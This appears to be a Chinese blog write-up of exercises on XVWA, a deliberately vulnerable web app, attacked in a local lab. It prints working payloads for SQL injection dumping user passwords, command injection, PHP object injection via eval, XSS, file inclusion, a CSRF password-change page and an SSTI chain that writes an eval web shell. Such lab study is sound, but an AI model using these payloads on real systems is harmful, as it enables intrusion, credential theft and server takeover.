XVWA练习

XVWA练习

SQL Injection

整体界面如下:

XVWA练习

在进行尝试之后发现,界面有两个查询点,首先是选择的code,其次是*输入的查询。

使用bp抓取选择code后的包,具体如图:

XVWA练习

item

在对post的item内容尝试进行注入后,发现注入的类型是整型注入。之后查看回显字段个数。

sql:1 order by *;#

经过尝试回显是7,使用联合注入查看回显的位置。sql:0 union select 1,2,3,4,5,6,7;%23

结果如图:

XVWA练习

之后进行常规的注入,首先获取版本,库名,表名等。sql:0 union select 1,database(),3,user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema=database()),7 ;%23

获取内容如下:

XVWA练习

其次获取列名 sql:0 union select 1,database(),3,user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),7;%23

获取内容如下:

XVWA练习

最后对内容进行获取 sql:0 union select 1,database(),3,user(),version(),(select group_concat(concat(username,'-',password)) from users),7;%23

获取内容如下:

XVWA练习

XVWA练习

对post中的search内容进行修改注入,经过尝试,该点应为字符注入,同样获取回显。

sql:adda' union select 1,database(),3,user(),version(),6,7;%23

获取内容如下:

XVWA练习

之后与之前的item方法相同,sql:adda' union select 1,database(),3,user(),version(),(select group_concat(concat(username,'-',password)) from users),7;%23

最后获取内容如下:

XVWA练习

SQL Injection(Blind)

此处的的返回信息仅仅是将报错内容隐藏,所以完全参照第一个即可获得内容(第一个注入可以尝试报错注入)。

OS Command Injection

命令执行,具体界面如下:

XVWA练习

|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

尝试在地址后面添加其他内容进行执行,如 127.0.0.1|echo Hello Word,122.0.0.1||echo Hello Word,127.0.0.1&echo Hello Word,127.0.0.1&&echo Hello Word

结果如下所示:

127.0.0.1|echo Hello Word

XVWA练习

122.0.0.1||echo Hello Word

XVWA练习

127.0.0.1&echo Hello Word,127.0.0.1&&echo Hello Word

XVWA练习

XPATH Injection

参考XPATH Injection介绍后对XPATH注入有了基本的了解,尝试注入,通过XVWA XPATH Injection了解后,发现只是能够将内容全部输出

内容如下:

XVWA练习

Formula Injection

相同先通过晚上了解了相关的漏洞信息之后查看相关题目的解题wp发现需要在Unrestricted File Upload 进行内容上传,此时上传内容如下:

XVWA练习

此时返回界面发现内容已经成功上传,下载下来后打开查看,发现内容如下

XVWA练习

但是没有其他人所说的提示,可能是wps已经修复相关的漏洞。

PHP Object Injection

此处为php反序列化的内容,首先需要对代码进行审计。源码如下:

<?php 
    class PHPObjectInjection{
    public $inject;
    function __construct(){

    }

    function __wakeup(){
        if(isset($this->inject)){
            eval($this->inject);
        }
    }
}
if(isset($_REQUEST['r'])){  

    $var1=unserialize($_REQUEST['r']);


    if(is_array($var1)){ 
        echo "<br/>".$var1[0]." - ".$var1[1];
    }
}else{
    echo ""; # nothing happens here
}
?>

简单审计之后发现读取传入的r进行反序列化,且调用unserialize之后会调用__wakeup()函数,这个时候就有危险函数eval的调用,且eval中的内容可控。

编写对应代码生成序列化内容

<?php
class PHPObjectInjection{
    public $inject;
    function __construct(){

    }

    function __wakeup(){
        if(isset($this->inject)){
            eval($this->inject);
        }
    }
}
$a=new PHPObjectInjection;
$a->inject='echo Hello;'; # 得到的结果为O:18:"PHPObjectInjection":1:{s:6:"inject";s:11:"echo Hello;";}
$a->inject="phpinfo();"; # 得到的结果为O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}
var_dump(serialize($a));
?>

最后使用生成的内容形成url:

http://192.168.66.133/xvwa/vulnerabilities/php_object_injection/?r=O:18:"PHPObjectInjection":1:{s:6:"inject";s:11:"echo Hello;";}

http://192.168.66.133/xvwa/vulnerabilities/php_object_injection/?r=O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}

命令成功执行:

XVWA练习

XVWA练习

Unrestricted File Upload

尝试将php文件上传,发现直接就成功了,没有任何过滤!!!!

结果如图:

XVWA练习

XSS-Reflected

尝试直接写入,直接成功。

XVWA练习

XSS-Stored

同上直接写入xss就会被保存,前端如下:

XVWA练习

XSS-DOM Based

直接写入不行,此时尝试其他不使用<script>标签的方式进行xss,如<img src="sd" one rror=alert("xss")>发现还是不行,对前端代码查看后发现xss内容已经写入,但是没有运行。

对其中的函数search查看后发现会对内容进行unescape编译,且直接在输入框写入会进行两次编译,直接在url写入即可运行,此时代码如下

<p id="srch">
    You've searched for <img src="1" one rror="alert(0)"></p>

SSRF/XSPA

对源码进行查看

$image = "";
if(isset($_POST['img_url'])){
    $remote_content = file_get_contents($_POST['img_url']);
    $filename = "../../img/".rand()."img1.jpg";
    file_put_contents($filename, $remote_content);
    echo $_POST['img_url']."<br>";
    $image = "<img src=\"".$filename."\" width=\"100\" height=\"100\" />";
}
echo $image;

代码的意思是将输入的地址内容存入一个随机名称的jpg中,只要将内容下下来修改后缀即可获取服务器中文件的内容。比如在读取文件中的该界面写入地址http://192.168.66.133/xvwa/vulnerabilities/ssrf_xspa/1.txt

将获取的图片下载,这个无法显示的图片在谷歌上居然下不了了,写了个简单的下载程序

import requests
r=requests.get("http://192.168.66.133/xvwa/img/322img1.jpg")
file=open("Python\\安全\\nr\\one.txt","wb")
file.write(r.content)

File Inclusion

url:http://192.168.66.133/xvwa/vulnerabilities/fi/?file=php://filter/read=convert.base64-encode/resource=index.php

结果如图:

XVWA练习

解码后即可得到文件内容

Session Flaws

查看cookie中的内容,且分别查看登陆前和后的区别

经过查看cookie内容如下

XVWA练习

在无痕浏览中修改PHPSESSID 为该登陆的id,此时再访问其他界面发现已经成为登录后的用户。

Insecure Direct Object Reference

查看对应的源码

include('../../config.php');
if($conn1){
    $sql= 'select itemid from caffaine LIMIT 5';
    $stmt = $conn1->prepare($sql);
    $stmt->execute();
    while($rows = $stmt->fetch(PDO::FETCH_NUM)){
        echo "<option value=\"".$rows[0]."\">".$rows[0]."</option>";
    }
} 

echo "</select><br>";
echo "<div align=\"right\"> <button class=\"btn btn-default\" type=\"submit\">Submit</button></div>";

echo "</div> </form> </p>";
echo "</div>";
$item = isset($_GET['item']) ? $_GET['item'] : '';
$sql = "select itemcode,itemname,itemdisplay,itemdesc,categ,price from caffaine where itemid = :itemid";
$stmt = $conn1->prepare($sql);
$stmt->bindParam(':itemid',$item);
$stmt->execute();
echo "<table>";
while($rows = $stmt->fetch(PDO::FETCH_NUM)){
    echo "<tr><td><b>Item Code : </b>".htmlspecialchars($rows[0])."</td><td rowspan=5>&nbsp;&nbsp;</td><td rowspan=5 valign=\"top\" align=\"justify\"><b>Description : </b>".htmlspecialchars($rows[3])."</td></tr>";
    echo "<tr><td><b>Item Name : </b>".htmlspecialchars($rows[1])."</td></tr>";
    echo "<td><img src='".htmlspecialchars($rows[2])."' height=130 weight=20/></td>";
    echo "<tr><td><b>Category : </b>".htmlspecialchars($rows[4])."</td></tr>";
    echo "<tr><td><b>Price : </b>".htmlspecialchars($rows[5])."$</td></tr>"; 
    echo "<tr><td colspan=3><hr></td></tr>";
}
echo "</table>";

通过源码查看,无法进行注入了,虽然只是显示了前五个但是可以通过修改url地址直接获取后面的内容。url:http://192.168.66.133/xvwa/vulnerabilities/idor/?item=7#

即可获取其他信息

Missing Functional Access Control

查看源码:

include('../../config.php');

if($conn1){
    $sql= 'select itemid from caffaine';
    $stmt = $conn1->prepare($sql);
    $stmt->execute();
    while($rows = $stmt->fetch(PDO::FETCH_NUM)){
        echo "<option value=\"".$rows[0]."\">".$rows[0]."</option>";
    }
} 

echo "</select><br>";
echo "<div align='right'> <button class='btn btn-default' type='submit' name='action' value='view'>View</button>&nbsp;&nbsp;";
if($_SESSION['user'] == 'admin'){
    echo "<button class='btn btn-default' type='submit' name='action' value='delete'>Delete</button></div>";
}else{
    echo "</div>";
}
echo "</div> </form> </p>";
echo "</div>";
$item = isset($_GET['item']) ? $_GET['item'] : '';
$action = isset($_GET['action']) ? $_GET['action'] : '';
if($action=='view'){
    $sql = "select itemcode,itemname,itemdisplay,itemdesc,categ,price from caffaine where itemid = :itemid";
    $stmt = $conn1->prepare($sql);
    $stmt->bindParam(':itemid',$item);
    $stmt->execute();
    echo "<table>";

    while($rows = $stmt->fetch(PDO::FETCH_NUM)){
        echo "<tr><td><b>Item Code : </b>".htmlspecialchars($rows[0])."</td><td rowspan=5>&nbsp;&nbsp;</td><td rowspan=5 valign=\"top\" align=\"justify\"><b>Description : </b>".htmlspecialchars($rows[3])."</td></tr>";
        echo "<tr><td><b>Item Name : </b>".htmlspecialchars($rows[1])."</td></tr>";
        echo "<td><img src='".htmlspecialchars($rows[2])."' height=130 weight=20/></td>";
        echo "<tr><td><b>Category : </b>".htmlspecialchars($rows[4])."</td></tr>";
        echo "<tr><td><b>Price : </b>".htmlspecialchars($rows[5])."$</td></tr>"; 
        echo "<tr><td colspan=3><hr></td></tr>";
    }
    echo "</table>";
}else if($action=='delete'){
    $sql="delete from caffaine where itemid=:itemid";
    $stmt=$conn1->prepare($sql);
    $stmt->bindParam(':itemid',$item);
    $stmt->execute();
    if($stmt->rowCount()){
        echo "Item deleted successfully.";
    } 
}

发现对用户进行了分类但是,在提交时将如下内容

http://192.168.66.133/xvwa/vulnerabilities/missfunc/?item=3&action=view

改为

http://192.168.66.133/xvwa/vulnerabilities/missfunc/?item=3&action=delete

同样可以将第三个删除,后端没有经过严格的过滤

CSRF

经过抓包,发现验证信息仅是cookie和密码是否相同,构建对应的html诱使登录用户点击即可修改密码

<html>    
    <head>        
        <title>csrf练习</title>    
    </head>  
    <body>      
        <script>history.pushState('', '', '/')</script>   
        <a href="http://192.168.66.133/xvwa/vulnerabilities/csrf/?passwd=aa&confirm=aa&submit=submit">点我</a>
    </body> 
</html>

点击之后密码就被修改了

XVWA练习

Cryptography

此处主要理解选择对应的算法,参考资料随意填入内容即可获取对应的加密内容

XVWA练习

Redirects&Forwards

同样此处也是了解为主,相关的参考资料主要的重点是减少使用重定向和转发,且不要将跳转的url交给用户控制,或者建立对应的url白名单。

Server Side Template Injection

此处输入之后返回对应的 hello **(输入内容),查看对应漏洞的相关信息,初步了解后发现此处也是可以进行反射性xss写入,并且还可能使用命令执行。

首先是xss写入,尝试<script>alert(0)</script>后发现直接就弹窗了

XVWA练习

之后参考XVWA--从SSTI到system提权进行

参考大佬的流程后,进行相似的操作,首先添加用户{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("net user test test /add")}}

尝试后发现添加失败,进入靶机中尝试,发现不满足密码策略,修改密码后尝试

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("net user test te202st1ad@ /add")}}

还是失败,尝试其他方法,首先获取路径使用命令chdir 获取结果为:C:\phpStudy\WWW\xvwa\vulnerabilities\ssti,之后在该目录下创建文件,并准备写入

使用命令type NUL > shell.php,命令执行成功,之后写入内容通过查询发现使用^可以对<>进行转义从而写入。

使用命令echo ^<?php @eval($_POST['cmd']); ?^> >shell.php 写入也可以不创建文件直接写入时也会创建

XVWA练习

之后使用蚁剑进行连接

XVWA练习

总结

相对来说XVWA比较简单,但是覆盖的宽度较广,在练习中需要查看很多没有了解的漏洞信息。还是需要多学习!

上一篇:IDEA中使用JDBC访问SQL SERVER(五)修改结果集数据


下一篇:JDBC学习第一天